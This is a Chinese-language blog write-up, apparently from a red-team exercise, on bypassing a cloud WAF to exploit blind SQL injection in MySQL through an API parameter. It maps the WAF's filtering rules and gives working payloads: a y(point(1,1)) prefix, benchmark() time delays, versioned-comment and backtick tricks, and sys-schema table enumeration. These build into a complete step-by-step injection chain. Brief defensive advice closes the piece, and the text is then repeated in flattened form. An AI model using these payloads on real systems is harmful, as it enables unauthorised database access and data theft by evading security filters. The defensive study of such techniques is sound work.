记一次hw中用到的某云waf绕过技巧
字数 1285 2025-09-01 11:25:54

MySQL WAF绕过技巧详解:基于Y函数与函数组合的绕过方法

一、案例背景

在一次HW(网络安全攻防演练)中,发现某云WAF对SQL注入的防护存在可绕过漏洞。通过使用y(point(1,1))函数结合特定语法构造,成功绕过了WAF的检测机制。

二、注入点识别

初始注入点URL结构:

/api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1&page=1&pageSize=10&ts=175082141514&orderBy=1

三、WAF拦截规则分析

1. 基本拦截行为测试

  • 1 or (select) → 不拦截
  • 1 or (select*) → 拦截
  • 1 or (select 0) → 拦截
  • 1 or (select()) → 拦截

结论:WAF拦截select+xx的组合,但不拦截单独的select关键字。

2. 函数拦截测试

  • sleep(3) → 拦截
  • benchmark(51111111,1) → 不拦截
  • substr() → 拦截
  • user()/database()/version() → 拦截
  • user/database/version(无括号) → 不拦截

结论:WAF拦截的是关键字+括号的组合,而非关键字本身。

四、关键绕过技术

1. Y函数绕过法

使用y(point(1,1))函数可以绕过WAF检测:

1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/benchmark(51111111,1))x)

2. 时间延迟替代方案

sleep()被拦截时,使用benchmark()替代:

benchmark(51111111,1)

3. 条件判断构造

加入if判断构造盲注:

if(1=1,benchmark(51111111,1),1)

4. 字符串函数绕过

substr()被拦截时,使用right(left())组合:

right(left(1,1),1)

5. 函数括号绕过技术

方法一:使用反引号

`version`()

方法二:使用数字注释

/*!12345database*/()

方法三:空格分割

version ()

注意user ()database ()可能无法正常执行,但version ()可以。

6. 信息模式表绕过

information_schema.tables被拦截时:

  • information_schema → 不拦截
  • information_schema.x → 拦截

替代方案:使用sys.schema_auto_increment_columns

select group_concat(table_name) from sys.schema_auto_increment_columns

五、完整注入流程

1. 确认注入点

/api/customerPolicy/selectPolicy?...&orderType=1+or+y(point(1,1))...

2. 时间盲注验证

...orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/benchmark(51111111,1))x)...

3. 条件盲注构造

...orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(1,1),1))=1,benchmark(51111111,1),1))x)...

4. 数据库信息获取

...orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(/*!12345database*/(),1),1))!=1,benchmark(51111111,1),1))x)...

5. 表名枚举

...orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left((select/*!5555555*/group_concat(table_name)/*!12345*/from/*!12345*/(sys.schema_auto_increment_columns/*!12345*/)),1),1))!=1,benchmark(51111111,1),1))x)...

六、技术总结

  1. Y函数妙用y(point(1,1))是不常见但有效的绕过函数
  2. 函数组合:通过函数组合替代被拦截的单个函数
  3. 注释技巧/*!12345*/数字注释可有效分割关键字
  4. 系统表替代:当information_schema被拦截时,使用sys库中的表
  5. 空格分割:在函数名和括号间插入空格可绕过部分检测

七、防御建议

  1. 更新WAF规则,加入对y(point())等非常用函数的检测
  2. 加强对函数名与括号间空格的检测
  3. 限制对sys库的访问权限
  4. 对所有用户输入进行严格的参数化查询处理
  5. 定期测试WAF规则的有效性,特别是针对新型绕过技术

此案例展示了即使面对商业WAF,通过深入分析其检测规则并巧妙组合SQL语法,仍可能实现绕过。这强调了多层防御和安全编码实践的重要性。

MySQL WAF绕过技巧详解:基于Y函数与函数组合的绕过方法 一、案例背景 在一次HW(网络安全攻防演练)中,发现某云WAF对SQL注入的防护存在可绕过漏洞。通过使用 y(point(1,1)) 函数结合特定语法构造,成功绕过了WAF的检测机制。 二、注入点识别 初始注入点URL结构: 三、WAF拦截规则分析 1. 基本拦截行为测试 1 or (select) → 不拦截 1 or (select*) → 拦截 1 or (select 0) → 拦截 1 or (select()) → 拦截 结论 :WAF拦截 select+xx 的组合,但不拦截单独的 select 关键字。 2. 函数拦截测试 sleep(3) → 拦截 benchmark(51111111,1) → 不拦截 substr() → 拦截 user() / database() / version() → 拦截 user / database / version (无括号) → 不拦截 结论 :WAF拦截的是关键字+括号的组合,而非关键字本身。 四、关键绕过技术 1. Y函数绕过法 使用 y(point(1,1)) 函数可以绕过WAF检测: 2. 时间延迟替代方案 当 sleep() 被拦截时,使用 benchmark() 替代: 3. 条件判断构造 加入 if 判断构造盲注: 4. 字符串函数绕过 当 substr() 被拦截时,使用 right(left()) 组合: 5. 函数括号绕过技术 方法一:使用反引号 方法二:使用数字注释 方法三:空格分割 注意 : user () 和 database () 可能无法正常执行,但 version () 可以。 6. 信息模式表绕过 当 information_schema.tables 被拦截时: information_schema → 不拦截 information_schema.x → 拦截 替代方案 :使用 sys.schema_auto_increment_columns 五、完整注入流程 1. 确认注入点 2. 时间盲注验证 3. 条件盲注构造 4. 数据库信息获取 5. 表名枚举 六、技术总结 Y函数妙用 : y(point(1,1)) 是不常见但有效的绕过函数 函数组合 :通过函数组合替代被拦截的单个函数 注释技巧 : /*!12345*/ 数字注释可有效分割关键字 系统表替代 :当 information_schema 被拦截时,使用 sys 库中的表 空格分割 :在函数名和括号间插入空格可绕过部分检测 七、防御建议 更新WAF规则,加入对 y(point()) 等非常用函数的检测 加强对函数名与括号间空格的检测 限制对 sys 库的访问权限 对所有用户输入进行严格的参数化查询处理 定期测试WAF规则的有效性,特别是针对新型绕过技术 此案例展示了即使面对商业WAF,通过深入分析其检测规则并巧妙组合SQL语法,仍可能实现绕过。这强调了多层防御和安全编码实践的重要性。